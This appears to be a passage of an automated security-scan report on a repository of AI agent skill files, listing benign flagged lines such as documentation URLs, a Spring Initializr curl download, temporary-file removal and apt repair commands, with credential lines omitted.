    Create a new repository-root llms.txt file from repository structure and documentation according   to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation,   document repository structure for LLMs, or a
  • Network accessline 5
    to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation,   document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/. metadata:
  • Network accessline 6
    document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/.
  • Network accessline 27
    - No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `
  • Network accessline 29
    - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks.
  • Network accessline 144
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 145
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/claude-code/skills/create-readme/SKILL.md

  • Network accessline 58
    | Source | Useful pattern | | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. |
  • Network accessline 59
    | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | | `https://raw.githubusercontent.com/Azure-Samples/server
  • Network accessline 60
    | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. |
  • Network accessline 61
    | `https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md` | Practical sample structure and concise usage flow. |
  • Network accessline 62
    | `https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md` | Compact tool positioning and example-first usage. |
  • Network accessline 63
    | `https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md` | Short, appealing project introduction and focused commands. |
  • Network accessline 64
    | `https://github.com/orgs/community/discussions/16925` | GitHub admonition syntax reference. |
  • Network accessline 138
    - [Azure Samples serverless chat README](https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md)
  • Network accessline 139
    - [Azure Samples serverless recipes README](https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md)
  • Network accessline 140
    - [run-on-output README](https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md)
  • Network accessline 141
    - [smoke README](https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md)
  • Network accessline 142
    - [GitHub admonition syntax discussion](https://github.com/orgs/community/discussions/16925)

harness/claude-code/skills/create-spring-boot-java-project/SKILL.md

  • Network accessline 41
    curl https://start.spring.io/starter.zip   -d artifactId=${input:projectName:demo-java}   -d bootVersion=3.4.5   -d dependencies=lombok,configuration-processor,web,data-jpa,postgresql,data-redis,data-mongodb,validation,cache,testcontainers 
  • Dangerous shell operationline 48
    rm -f starter.zip
  • Dangerous shell operationline 112
    docker-compose rm -sf
  • Dangerous shell operationline 115
    The optional run commands are `docker-compose up -d`, `./mvnw spring-boot:run`, and `docker-compose rm -sf`.

harness/claude-code/skills/create-spring-boot-kotlin-project/SKILL.md

  • Network accessline 31
    1. Check Java with `java -version`. 2. Download the Spring Initializr archive from https://start.spring.io/starter.zip .
  • Network accessline 32
    2. Download the Spring Initializr archive from https://start.spring.io/starter.zip .
  • Dangerous shell operationline 34
    4. Remove `starter.zip` after extraction with `rm -f starter.zip`.
  • Network accessline 43
    curl https://start.spring.io/starter.zip \
  • Dangerous shell operationline 54
    rm -f starter.zip
  • Dangerous shell operationline 120
    docker-compose rm -sf
  • Dangerous shell operationline 133
    The original `download-spring-boot-project-template` anchor maps to the Spring Initializr request in this skill. Preserve local service paths exactly: `./redis_data` maps to `/data`, `./postgres_data` maps to `/var/lib/postgresql/data`, and

harness/claude-code/skills/create-tldr-page/SKILL.md

  • Network accessline 18
    - "Generate a concise command reference from this manual page." - "Turn this --help output and upstream URL into a tldr page." - "Write a tldr-pages style page for git from https://git-scm.com/docs/git."
  • Network accessline 20
    - "Write a tldr-pages style page for git from https://git-scm.com/docs/git."
  • Network accessline 74
    /create-tldr-page https://some-command.io/docs/manual.html
  • Network accessline 98
    1. https://gnu.org/software/manual/html_node/some-command.html
  • Network accessline 99
    2. https://some.org/serve/some.man.html#some-command
  • Network accessline 100
    3. https://some-command.io/docs/cli/latest/manual
  • Network accessline 101
    4. https://some-command.io/docs/quickstart
  • Network accessline 113
    > Short, snappy description. > Some subcommands such as `subcommand1` have their own usage documentation. > More information: <https://url-to-upstream.tld>.
  • Network accessline 115
    > More information: <https://url-to-upstream.tld>.
  • Network accessline 141
    * [git](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md)
  • Network accessline 142
    * [distrobox-create](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md)
  • Network accessline 143
    * [nmcli](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md)
  • Network accessline 150
    /create-tldr-page #fetch https://git-scm.com/docs/git git
  • Network accessline 158
    > Distributed version control system. > Some subcommands such as `commit`, `add`, `branch`, `switch`, `push`, etc. have their own usage documentation. > More information: <https://git-scm.com/docs/git>.
  • Network accessline 160
    > More information: <https://git-scm.com/docs/git>.
  • Network accessline 168
    `git clone {{https://example.com/repo.git}}`
  • Network accessline 218
    - Example: `{{device_name}}`, `{{chip_name}}`, `{{repository_url}}`   - Example: `{{path/to/file}}` for file paths   - Example: `{{https://example.com}}` for URLs
  • Network accessline 220
    - Example: `{{https://example.com}}` for URLs
  • Network accessline 254
    - https://git-scm.com/docs/git
  • Network accessline 255
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md
  • Network accessline 256
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md
  • Network accessline 257
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md

harness/claude-code/skills/csharp-mstest/SKILL.md

  • Network accessline 81
    | Conditional execution | MSTest 3.10+ supports `[OSCondition(OperatingSystems.Windows)]`, Linux/MacOS combinations, `ConditionMode.Exclude`, `[CICondition]`, and `[CICondition(ConditionMode.Exclude)]`. | | Parallelization | At assembly lev
  • Network accessline 83
    | Work items | Use `[WorkItem(12345)]` for Azure DevOps and `[GitHubWorkItem("https://github.com/owner/repo/issues/42")]` for GitHub issues; associations flow into test results for CI/CD traceability. |
  • Network accessline 128
    - [MSTest TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext)
  • Network accessline 129
    - [Example GitHub work item URL](https://github.com/owner/repo/issues/42)

harness/claude-code/skills/daily-focus-board/SKILL.md

  • Network accessline 66
    1. Gather the task list from the user or their message. Capture a short title, optional `emoji`, optional `sub` note, optional `tag`, optional `due`, optional `quad`, and counter fields when the task has a numeric goal. 2. Generate `focus-b
  • Network accessline 67
    2. Generate `focus-board.html` from `assets/board.template.html`, escaping injected JSON as described above. 3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scr
  • Network accessline 68
    3. Serve the folder on loopback so localStorage has an `http://` origin: `python -m http.server 8799 --bind 127.0.0.1`, or use `scripts/serve-board.ps1`.
  • Network accessline 69
    4. Open the board in a browser canvas side panel when the host supports it; otherwise open `http://localhost:8799/focus-board.html` in the default browser. 5. Drive the board through conversation: keep status and notes in the browser, regen
  • Network accessline 116
    **Status:** created | needs input | blocked **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html`
  • Network accessline 117
    **Board file:** `focus-board.html` **Open URL:** `http://localhost:8799/focus-board.html` **Date key:** `<YYYY-MM-DD>`
  • Network accessline 118
    **Open URL:** `http://localhost:8799/focus-board.html`

harness/claude-code/skills/daily-focus-board/references/neurodivergent-design.md

  • Network accessline 50
    - **Executive function — task initiation, activation energy, time management, working memory** —   CHADD (Children and Adults with ADHD), the leading ADHD nonprofit:   - *Executive Function Skills* — https://chadd.org/about-adhd/executive-f
  • Network accessline 51
    CHADD (Children and Adults with ADHD), the leading ADHD nonprofit:   - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/   - *Executive Function Issues and ADHD* (Brown & Barkley models) —
  • Network accessline 52
    - *Executive Function Skills* — https://chadd.org/about-adhd/executive-function-skills/
  • Network accessline 53
    - *Executive Function Issues and ADHD* (Brown & Barkley models) —     https://chadd.org/attention-article/executive-function-issues-and-adhd/ - **Body doubling** — focus improving in the presence of a partner; the board's core premise
  • Network accessline 54
    https://chadd.org/attention-article/executive-function-issues-and-adhd/
  • Network accessline 55
    - **Body doubling** — focus improving in the presence of a partner; the board's core premise   ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* —   https://www.simplypsychology.com/articles/body-doubling-adhd
  • Network accessline 56
    ("drive it by talking to your AI") — Simply Psychology, *Body Doubling and ADHD* —   https://www.simplypsychology.com/articles/body-doubling-adhd - **Reduced motion / sensory sensitivity** — behind the reduced-motion toggle and honoring the
  • Network accessline 57
    https://www.simplypsychology.com/articles/body-doubling-adhd
  • Network accessline 59
    `prefers-reduced-motion` setting:   - MDN, *`prefers-reduced-motion`* —     https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion
  • Network accessline 60
    - MDN, *`prefers-reduced-motion`* —     https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion   - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* —
  • Network accessline 61
    https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion
  • Network accessline 62
    - W3C WCAG 2.1, *Understanding SC 2.3.3: Animation from Interactions* —     https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious
  • Network accessline 63
    https://www.w3.org/WAI/WCAG21/Understanding/animation-from-interactions.html
  • Network accessline 64
    - **Above/below the line — "locating yourself"** (the arrival check-in) — The Conscious Leadership   Group, *Locating Yourself: A Key to Conscious Leadership* —   https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership
  • Network accessline 65
    Group, *Locating Yourself: A Key to Conscious Leadership* —   https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"):
  • Network accessline 66
    https://conscious.is/video/locating-yourself-a-key-to-conscious-leadership
  • Network accessline 67
    - **Important vs. urgent** (the Eisenhower quadrant labels + "Schedule is where the good work lives"):   - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix   - Todoist, *The Eisenhower Matrix* — https://todoist
  • Network accessline 68
    - Asana, *The Eisenhower Matrix* — https://asana.com/resources/eisenhower-matrix
  • Network accessline 69
    - Todoist, *The Eisenhower Matrix* — https://todoist.com/productivity-methods/eisenhower-matrix
  • Network accessline 71
    self-compassion.org — https://self-compassion.org/

harness/claude-code/skills/daily-focus-board/references/tutorial.md

  • Network accessline 22
    1. Ask Ember to make the board. It serves the folder (e.g. `python -m http.server 8790 --bind 127.0.0.1`) and gives    you an `http://localhost:…/…html` URL.
  • Network accessline 23
    you an `http://localhost:…/…html` URL.
  • Network accessline 34
    > localStorage needs an `http://` origin, so always **serve ** the folder rather than double-clicking

harness/claude-code/skills/daily-focus-board/scripts/serve-board.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 18
    Write-Error "The server exited on startup (code $($proc.ExitCode)) — is Python installed and the port free?"; exit 1 } $url = "http://localhost:$Port/$File"
  • Network accessline 19
    } $url = "http://localhost:$Port/$File" Write-Host "Focus board: $url"
  • Network accessline 20
    $url = "http://localhost:$Port/$File"

harness/claude-code/skills/data-breach-blast-radius/SKILL.md

  • Network accessline 27
    > **Why this matters:** 83% of organizations have experienced more than one data breach (IBM Cost of a Data Breach Report). The global average breach cost was **$4.88M in 2024**, with the 2025 IBM report showing a 9% decrease — download the
  • Network accessline 324
    - [IBM Cost of a Data Breach Report](https://www.ibm.com/reports/data-breach.)

harness/claude-code/skills/data-breach-blast-radius/references/SOURCES.md

  • Network accessline 11
    ### GDPR Special Categories (Tier 1 classification basis) - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/
  • Network accessline 12
    - **Source:** Regulation (EU) 2016/679 — Article 9 "Processing of special categories of personal data" - **URL:** https://gdpr-info.eu/art-9-gdpr/ - **What it says:** Biometric data, health data, genetic data, racial/ethnic origin, politica
  • Network accessline 13
    - **URL:** https://gdpr-info.eu/art-9-gdpr/
  • Network accessline 17
    ### PCI-DSS Data Classification - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/
  • Network accessline 18
    - **Source:** PCI Security Standards Council — PCI DSS v4.0 (March 2022) - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/ - **What it says:** Primary Account Number (PAN), cardholder name, expiration date, se
  • Network accessline 19
    - **URL:** https://www.pcisecuritystandards.org/document_harness/github-copilot/
  • Network accessline 23
    ### HIPAA Protected Health Information (PHI) Definition - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identi
  • Network accessline 24
    - **Source:** 45 CFR Part 160 and Part 164 (Health Insurance Portability and Accountability Act) - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html - **What it says:** The 18 HIPAA ide
  • Network accessline 25
    - **URL:** https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html
  • Network accessline 33
    **Source:** Regulation (EU) 2016/679 — Article 83 "General conditions for imposing administrative fines" **URL:** https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 34
    **URL:** https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 48
    | €1.2B | Meta (Ireland DPC) | 2023 | source page no longer resolves | | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-relea
  • Network accessline 49
    | €746M | Amazon (Luxembourg) | 2021 | source page no longer resolves | | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry | | 
  • Network accessline 50
    | €225M | WhatsApp (Ireland DPC) | 2021 | https://www.dataprotection.ie/en/news-media/press-releases/data-protection-commission-announces-decision-whatsapp-inquiry |
  • Network accessline 51
    | €150M | Google (France CNIL) | 2022 | source page no longer resolves | | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaen
  • Network accessline 52
    | €35.3M | H&M (Hamburg DPA) | 2020 | https://www.datenschutz-hamburg.de/news/detail/article/hamburgische-beauftragte-fuer-datenschutz-und-informationsfreiheit-verhaengt-bussgeld-gegen-hm.html |
  • Network accessline 60
    **Source:** California Civil Code § 1798.155(a) — California Consumer Privacy Act **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 61
    **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 68
    **Private Right of Action source:** California Civil Code § 1798.150 **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 69
    **URL:** https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 80
    **Source:** 45 CFR § 160.404 — Civil Money Penalties **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 81
    **URL:** https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 83
    **Source (HHS penalty tiers explained):** HHS Office for Civil Rights **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html
  • Network accessline 84
    **URL:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/agreements/index.html
  • Network accessline 92
    **URL for current amounts:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html
  • Network accessline 96
    **Criminal penalties source:** 42 U.S.C. § 1320d-6 **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6
  • Network accessline 97
    **URL:** https://uscode.house.gov/view.xhtml?req=granuleid:USC-prelim-title42-section1320d-6
  • Network accessline 103
    **Source:** Lei Geral de Proteção de Dados Pessoais (LGPD) — Lei nº 13.709/2018, Article 52 **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 104
    **URL:** https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 114
    **Source:** Personal Data Protection Act 2012 (Singapore) — Section 48J **URL:** https://sso.agc.gov.sg/Act/PDPA2012
  • Network accessline 115
    **URL:** https://sso.agc.gov.sg/Act/PDPA2012
  • Network accessline 123
    **Source:** IBM Security — "Cost of a Data Breach Report" (published annually since 2005) **URL:** https://www.ibm.com/reports/data-breach
  • Network accessline 124
    **URL:** https://www.ibm.com/reports/data-breach
  • Network accessline 147
    | Regulation | Timeline | Source | |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ |
  • Network accessline 148
    |-----------|---------|--------| | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ | | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ |
  • Network accessline 149
    | GDPR | 72 hours | GDPR Article 33.1 — https://gdpr-info.eu/art-33-gdpr/ |
  • Network accessline 150
    | UK GDPR | 72 hours | UK GDPR Article 33 (retained EU law) — https://ico.org.uk/for-organisations/report-a-breach/ |
  • Network accessline 151
    | HIPAA | 60 days | 45 CFR § 164.412 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-164/subpart-D/section-164.412 |
  • Network accessline 152
    | CCPA | "Most expedient time" | Cal. Civ. Code § 1798.82 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.82 |
  • Network accessline 153
    | Singapore PDPA | 3 calendar days | PDPA Section 26D — https://sso.agc.gov.sg/Act/PDPA2012 |
  • Network accessline 154
    | Australia Privacy Act | 30 days | Privacy Act 1988, APP 1 + NDB Scheme — https://www.oaic.gov.au/privacy/notifiable-data-breaches |
  • Network accessline 155
    | LGPD Brazil | 2 business days (ANPD guidance) | ANPD Resolution CD/ANPD nº 2/2022 — https://www.gov.br/anpd/pt-br |
  • Network accessline 156
    | Japan APPI | 3–5 business days (2022 amendment) | Act on Protection of Personal Information Art. 26 — https://www.ppc.go.jp/en/legal/ |
  • Network accessline 157
    | PIPEDA Canada | "As soon as feasible" | PIPEDA s.10.1 — https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/ |
  • Network accessline 165
    | Component | Based on | |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology |
  • Network accessline 166
    |-----------|---------| | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology | | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https:/
  • Network accessline 167
    | Tier Weight × Exposure Likelihood | OWASP Risk Rating Methodology — https://owasp.org/www-community/OWASP_Risk_Rating_Methodology |
  • Network accessline 168
    | Completeness Factor | FAIR (Factor Analysis of Information Risk) model — https://www.fairinstitute.org/ |
  • Network accessline 169
    | Population Scale normalization | CVSS v4.0 Attack Scale metric — https://www.first.org/cvss/v4-0/ |
  • Network accessline 170
    | Context multipliers | GDPR recitals 75, 91 (special categories increase risk level) — https://gdpr-info.eu/recitals/no-75/ |

harness/claude-code/skills/data-breach-blast-radius/references/blast-radius-calculator.md

  • Network accessline 237
    Use these when no specific cost data is available. Figures below are from the **IBM 2024 edition**. IBM publishes a new edition annually at https://www.ibm.com/reports/data-breach — the 2025 report reports a ~9% decrease in global average c

harness/claude-code/skills/data-breach-blast-radius/references/data-classification.md

  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]

harness/claude-code/skills/data-breach-blast-radius/references/hardening-playbook.md

  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 396
    [Credential-related source omitted]

harness/claude-code/skills/data-breach-blast-radius/references/regulatory-impact.md

  • Network accessline 150
    **Legal source:** GDPR Article 83 — https://gdpr-info.eu/art-83-gdpr/
  • Network accessline 190
    **Legal source:** California Civil Code § 1798.155(a) (as amended June 30, 2025, Stats. 2025, Ch. 20) — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.155
  • Network accessline 191
    **Private right of action source:** California Civil Code § 1798.150 — https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=CIV&sectionNum=1798.150
  • Network accessline 222
    **Legal source:** 45 CFR § 160.404 — https://www.ecfr.gov/current/title-45/subtitle-A/subchapter-C/part-160/subpart-D/section-160.404
  • Network accessline 223
    **HHS enforcement page:** https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/examples/all-cases/index.html
  • Network accessline 247
    **Legal source:** Lei nº 13.709/2018 (LGPD) — Article 52, I — https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm
  • Network accessline 248
    **ANPD (Brazilian DPA):** https://www.gov.br/anpd/pt-br
  • Network accessline 282
    **Benchmark source:** IBM Security + Ponemon Institute — "Cost of a Data Breach Report" (annually updated) **URL:** https://www.ibm.com/reports/data-breach Figures below are from the **2024 edition** (last verified). IBM 2025 shows a 9% dec
  • Network accessline 283
    **URL:** https://www.ibm.com/reports/data-breach

harness/claude-code/skills/data-breach-blast-radius/references/report-format.md

  • Network accessline 263
    *This report was generated by the [data-breach-blast-radius](https://github.com/github/awesome-copilot/tree/main/skills/data-breach-blast-radius) skill for GitHub Copilot.*

harness/claude-code/skills/datanalysis-credit-risk/references/analysis.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/datanalysis-credit-risk/references/func.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/datanalysis-credit-risk/scripts/example.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/dataverse-python-usecase-builder/SKILL.md

  • Access to secretsline 121
    [Credential-related source omitted]

harness/claude-code/skills/debian-linux-triage/SKILL.md

  • Dangerous shell operationline 31
    | Package state | `apt-cache policy <package>`; `dpkg -l | grep '^..r'`; `sudo dpkg --audit` | Finds held, half-configured, removed-but-configured, and dependency-broken packages. |
  • Dangerous shell operationline 44
    | Apt failure | `sudo apt update`; `sudo apt -f install`; `sudo dpkg --configure -a` after reading the error | Repository mismatch, held package, interrupted configure step. |
  • Dangerous shell operationline 54
    | Interrupted package configuration | `sudo dpkg --configure -a`, then `sudo apt -f install` if dependencies remain broken. | Removing `/var/lib/dpkg/` metadata. |
  • Dangerous shell operationline 55
    | Wrong or missing package | `sudo apt install --reinstall <package>` after checking `apt-cache policy`. | Installing random `.deb` files without source and dependency review. |
  • Dangerous shell operationline 56
    | Held package blocks upgrade | `apt-mark showhold`; unhold only the intended package with `sudo apt-mark unhold <package>`. | Blanket unhold of all packages. |

harness/claude-code/skills/dependabot/SKILL.md

  • Network accessline 351
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 352
    [Credential-related source omitted]
  • Network accessline 353
    url: https://npm.example.com
  • Network accessline 389
    > Scan the dependencies I added on this branch for known vulnerabilities and tell me which versions to upgrade to before I commit. Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announ
  • Network accessline 390
    Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanni
  • Network accessline 391
    > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) (May 2026)
  • Network accessline 434
    - [ ] Bundled references are cited only for deeper detail and every cited file exists. ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-githu
  • Network accessline 435
    ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - [Example private registry endpoint](https://npm.e
  • Network accessline 436
    - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/)
  • Network accessline 437
    - [Example private registry endpoint](https://npm.example.com)

harness/claude-code/skills/dependabot/references/dependabot-yml-reference.md

  • Network accessline 339
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 340
    [Credential-related source omitted]
  • Network accessline 341
    url: https://npm.example.com
  • Network accessline 344
    maven-central:     type: maven-repository     url: https://repo.maven.apache.org/maven2
  • Network accessline 345
    type: maven-repository     url: https://repo.maven.apache.org/maven2     username: ""
  • Network accessline 346
    url: https://repo.maven.apache.org/maven2
  • Network accessline 350
    docker-ghcr:     type: docker-registry     url: https://ghcr.io
  • Network accessline 351
    type: docker-registry     url: https://ghcr.io     username: ${{secrets.GHCR_USER}}
  • Network accessline 352
    url: https://ghcr.io
  • Network accessline 356
    python-private:     type: python-index     url: https://pypi.example.com/simple
  • Network accessline 357
    [Credential-related source omitted]
  • Network accessline 358
    url: https://pypi.example.com/simple

harness/claude-code/skills/dependabot/references/example-configs.md

  • Network accessline 168
    npm-private:     type: npm-registry     url: https://npm.internal.example.com
  • Network accessline 169
    [Credential-related source omitted]
  • Network accessline 170
    url: https://npm.internal.example.com
  • Network accessline 173
    docker-ghcr:     type: docker-registry     url: https://ghcr.io
  • Network accessline 174
    type: docker-registry     url: https://ghcr.io     username: ${{secrets.GHCR_USER}}
  • Network accessline 175
    url: https://ghcr.io
  • Network accessline 252
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 253
    [Credential-related source omitted]
  • Network accessline 254
    url: https://npm.example.com

harness/claude-code/skills/documentation-writer/SKILL.md

  • Network accessline 95
    - [Diátaxis framework](https://diataxis.fr/)

harness/claude-code/skills/dotnet-linux-modernization/references/linux-hosting.md

  • Network accessline 8
    The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core),
  • Network accessline 16
    The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview)
  • Network accessline 17
    marks that tool deprecated. The [GitHub Copilot upgrade overview](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) documents upgrade scenarios and supported environments. Discover the installed workflow
  • Network accessline 18
    [GitHub Copilot upgrade overview](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview)
  • Network accessline 25
    Follow the [ASP.NET Framework to ASP.NET Core guide](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0).
  • Network accessline 31
    package availability does not establish server compatibility. - Remoting, COM+, Workflow and AppDomain-creation dependencies require alternatives or isolation;   consult [unavailable Framework technologies](https://learn.microsoft.com/en-us
  • Network accessline 32
    - Remoting, COM+, Workflow and AppDomain-creation dependencies require alternatives or isolation;   consult [unavailable Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable). - Native
  • Network accessline 33
    consult [unavailable Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable).
  • Network accessline 43
    Use [Microsoft's container-image guidance](https://learn.microsoft.com/en-us/dotnet/core/docker/container-images)
  • Network accessline 53
    The [.NET 8 container port change](https://learn.microsoft.com/en-us/dotnet/core/compatibility/containers/8.0/aspnet-port)
  • Network accessline 61
    | --- | --- | --- | | Fit | A web application aligned with App Service operations and a selected plan. | HTTP services, workers or finite jobs with an explicitly selected execution/scaling model. | | Image | Verified Linux image for the ser
  • Network accessline 62
    | Fit | A web application aligned with App Service operations and a selected plan. | HTTP services, workers or finite jobs with an explicitly selected execution/scaling model. | | Image | Verified Linux image for the service/plan; this suit
  • Network accessline 63
    | Image | Verified Linux image for the service/plan; this suite uses `amd64`. | [Container requirements](https://learn.microsoft.com/en-us/azure/container-apps/containers) specify `linux/amd64`; not Windows. |
  • Network accessline 69
    The [App Service sidecar reference](https://learn.microsoft.com/en-us/azure/app-service/configure-sidecar)
  • Network accessline 74
    The [ACA probe reference](https://learn.microsoft.com/en-us/azure/container-apps/health-probes) documents HTTP(S)/TCP probes and excludes `exec` probes. Use numeric ports and tested thresholds. Do not assume a shell, curl, or a Kubernetes p
  • Network accessline 78
    Use [managed identity for ACA image pulls](https://learn.microsoft.com/en-us/azure/container-apps/managed-identity-image-pull)
  • Network accessline 79
